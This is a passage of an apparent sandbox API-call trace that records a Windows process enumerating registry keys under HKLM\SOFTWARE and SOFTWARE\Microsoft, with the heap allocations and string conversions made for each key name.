[0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x58bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bca0) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc58) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x58b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x58bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0248.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc58) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bca0) returned 1 [0248.796] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.797] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x184) returned 0x58d040 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bca0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bc58 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bce8 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bd30 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bd78 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bdc0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58be08 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58be50 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58be98 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bee0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bf28 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bf70 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58bfb8 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c000 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c048 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c090 [0248.797] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x58c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.797] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.797] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.797] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x58b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x58b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x58b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x58b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.798] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x58b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0248.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x58c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x58b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x58c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.799] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0248.799] RegCloseKey (hKey=0xc4) returned 0x0 [0248.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x58b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x58c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.799] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.799] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x58b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0248.799] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x58b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x58b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x58c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x58b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.800] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.800] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x58b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.800] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x58b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x58c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x58b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.801] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.801] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x58b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0248.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x58b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x58c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x58b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x58c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network 